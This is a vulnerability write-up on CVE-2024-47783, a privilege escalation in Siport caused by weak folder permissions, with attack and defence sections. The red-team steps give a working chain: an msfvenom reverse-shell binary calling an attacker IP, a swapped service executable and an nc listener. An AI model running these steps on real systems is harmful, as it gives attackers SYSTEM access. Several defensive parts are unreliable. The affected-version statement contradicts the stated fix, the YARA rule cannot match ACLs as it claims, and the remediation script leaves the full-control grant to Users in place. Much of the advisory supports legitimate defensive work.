CVE-2024-47783

Executive Summary

CVE-2024-47783 is a local privilege escalation vulnerability in Siport, a software application. The vulnerability stems from improper file permissions assigned to installation folders. A local attacker with an unprivileged account can exploit this weakness to override or modify service executables, subsequently gaining elevated privileges. The CVSS score is 7.8 (High), and no public proof-of-concept (PoC) or exploit code is currently available. The vendor has released a fix in version V3.4.0.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs an unprivileged account.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) – Full compromise of confidentiality.
• Integrity (I): High (H) – Full compromise of integrity.
• Availability (A): High (H) – Full compromise of availability.

Threat Level: High. While the attack vector is local, the low complexity and low privileges required make it a significant risk for environments where unprivileged users have access to Siport installations.

Deep Dive & Mechanics

The vulnerability is rooted in the installation process of Siport. When the application is installed, the installation folders and their contents (including service executables) are assigned overly permissive file permissions. This means that any local user, even those with minimal privileges, can read, write, or modify these files.

Attack Scenario:

1. An attacker gains access to a system with a vulnerable Siport installation (version < V3.4.0) using an unprivileged account.
2. The attacker identifies the Siport installation directory (e.g., C:\Program Files\Siport\).
3. The attacker checks the permissions on the service executable (e.g., siport_service.exe). Due to the vulnerability, the attacker finds that their user account has write/modify permissions.
4. The attacker replaces the legitimate service executable with a malicious one (e.g., a reverse shell or a binary that creates a new admin user).
5. The attacker triggers a restart of the Siport service (or waits for a system reboot).
6. The malicious executable runs with the privileges of the service account (typically SYSTEM or LOCAL SYSTEM), granting the attacker elevated privileges.

Root Cause: The application does not apply the principle of least privilege to its installation directories. Standard Windows security best practices dictate that only SYSTEM, Administrators, and the TrustedInstaller should have write access to program files.

Vulnerable vs. Patched Code

Since this is a configuration/permissions issue rather than a code flaw, the "patch" is a change in the installer behavior.

Vulnerable Configuration (V3.4.0 and earlier): The installer sets permissions on the installation folder (e.g., C:\Program Files\Siport) to allow BUILTIN\Users or Everyone to have write/modify access. This can be checked using icacls:

icacls "C:\Program Files\Siport"

Expected (vulnerable) output (simplified):

C:\Program Files\Siport BUILTIN\Users:(OI)(CI)(F)
                         BUILTIN\Administrators:(OI)(CI)(F)
                         NT AUTHORITY\SYSTEM:(OI)(CI)(F)

Patched Configuration (V3.4.0 and later): The installer correctly restricts write access to only privileged accounts.

icacls "C:\Program Files\Siport"

Expected (patched) output (simplified):

C:\Program Files\Siport BUILTIN\Administrators:(OI)(CI)(F)
                         NT AUTHORITY\SYSTEM:(OI)(CI)(F)
                         NT AUTHORITY\TrustedInstaller:(OI)(CI)(F)

Exploitation & Lab Setup

Red Team

Objective: Escalate privileges from a low-privileged user to SYSTEM.

Prerequisites:

• A Windows system with Siport < V3.4.0 installed.
• A low-privileged user account (e.g., localuser).

Steps:

1. Identify the vulnerable service:

   Get-Service -Name "*Siport*"
   

2. Check permissions on the service binary:

   $service = Get-CimInstance -ClassName Win32_Service -Filter "Name='SiportService'"
   icacls $service.PathName
   

3. If the output shows BUILTIN\Users:(F) or similar, proceed.

4. Create a malicious executable (e.g., using msfvenom):

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o evil.exe
   

5. Replace the legitimate service binary:

   # Stop the service
   Stop-Service -Name "SiportService"
   # Backup the original
   Copy-Item "C:\Program Files\Siport\siport_service.exe" "C:\Program Files\Siport\siport_service.exe.bak"
   # Replace with malicious binary
   Copy-Item "C:\temp\evil.exe" "C:\Program Files\Siport\siport_service.exe"
   

6. Start a listener on the attacker machine:

   nc -lvnp 4444
   

7. Start the service:

   Start-Service -Name "SiportService"
   

8. Receive the reverse shell as SYSTEM.

Blue Team

Detection & Prevention:

1. Audit File Permissions: Regularly audit the permissions on Siport installation directories using a script or tool.

   $path = "C:\Program Files\Siport"
   $acl = Get-Acl -Path $path
   $access = $acl.Access | Where-Object { $_.IdentityReference -eq "BUILTIN\Users" -and $_.FileSystemRights -match "Write|Modify|FullControl" }
   if ($access) {
       Write-Warning "Vulnerable permissions detected on $path"
   }
   

2. Monitor Service Binary Changes: Enable Windows Auditing for object access on the service binary path.

   • Audit Policy: Audit Object Access -> Success
   • SACL on the binary: Everyone -> Write -> Success

3. Use Sysmon: Monitor for Event ID 11 (FileCreate) and Event ID 1 (Process creation) to detect replacement of service binaries.

4. Harden the System: Apply the principle of least privilege. Ensure that only SYSTEM, Administrators, and TrustedInstaller have write access to C:\Program Files\*.

Indicators of Compromise (IOCs)

• File System:

  • Modification of siport_service.exe or other executables in the Siport installation directory.
  • Presence of unexpected .exe or .dll files in the Siport directory.
  • Backup files like siport_service.exe.bak created by an attacker.

• Process:

  • Anomalous child processes spawned by siport_service.exe (e.g., cmd.exe, powershell.exe).
  • Network connections from siport_service.exe to external IPs (if the attacker uses a reverse shell).

• Windows Event Logs:

  • Event ID 4656 (A handle to an object was requested): With Object Name pointing to the service binary and Access Mask indicating write/modify.
  • Event ID 4663 (An attempt was made to access an object): With Accesses showing WriteData or AddFile on the service binary.
  • Event ID 7045 (A service was installed in the system): If the attacker creates a new service.
  • Event ID 7034/7031 (Service crash/unexpected stop): If the attacker stops the service.

Detection Engineering

YARA Rule

rule siport_weak_permissions {
    meta:
        description = "Detects overly permissive ACLs on Siport installation directory"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47783"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $siport_path = "C:\\Program Files\\Siport" nocase
        $weak_ace = "BUILTIN\\Users" nocase
    condition:
        $siport_path and $weak_ace
}

Sigma Rule

title: Siport Weak File Permissions
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to modify Siport service binaries by non-privileged users.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-47783
author: Valters IT
date: 2024/10/27
tags:
    - attack.privilege_escalation
    - attack.t1574
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4663
        ObjectName|contains: 'C:\Program Files\Siport\'
        AccessMask|contains: '0x2'  # WRITE_DATA
    condition: selection
falsepositives:
    - Legitimate software updates or patches applied by administrators.
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $SHELL_PORTS (msg:"CVE-2024-47783 Siport Potential Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:0; content:"|ff ff ff ff|"; distance:0; within:4; classtype:attempted-admin; sid:1000001; rev:1;)

Note: The Suricata rule above is a generic placeholder for detecting reverse shell traffic. A more specific rule would require knowledge of the attacker's payload.

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Siport to version V3.4.0 or later. This is the official fix.
2. Manual Permission Fix: If an immediate upgrade is not possible, manually correct the permissions on the Siport installation directory:

   $path = "C:\Program Files\Siport"
   $acl = Get-Acl -Path $path
   $acl.SetAccessRuleProtection($true, $true)  # Remove inherited permissions
   $rule = New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Users", "ReadAndExecute", "ContainerInherit,ObjectInherit", "None", "Allow")
   $acl.AddAccessRule($rule)
   Set-Acl -Path $path -AclObject $acl
   

Long-Term Mitigations:

• Principle of Least Privilege: Ensure all application installations follow the principle of least privilege.
• Application Control: Use tools like AppLocker or Windows Defender Application Control to prevent unauthorized executables from running.
• Regular Auditing: Implement automated auditing of critical file permissions.
• Vulnerability Management: Subscribe to vendor advisories and apply patches promptly.

Valters IT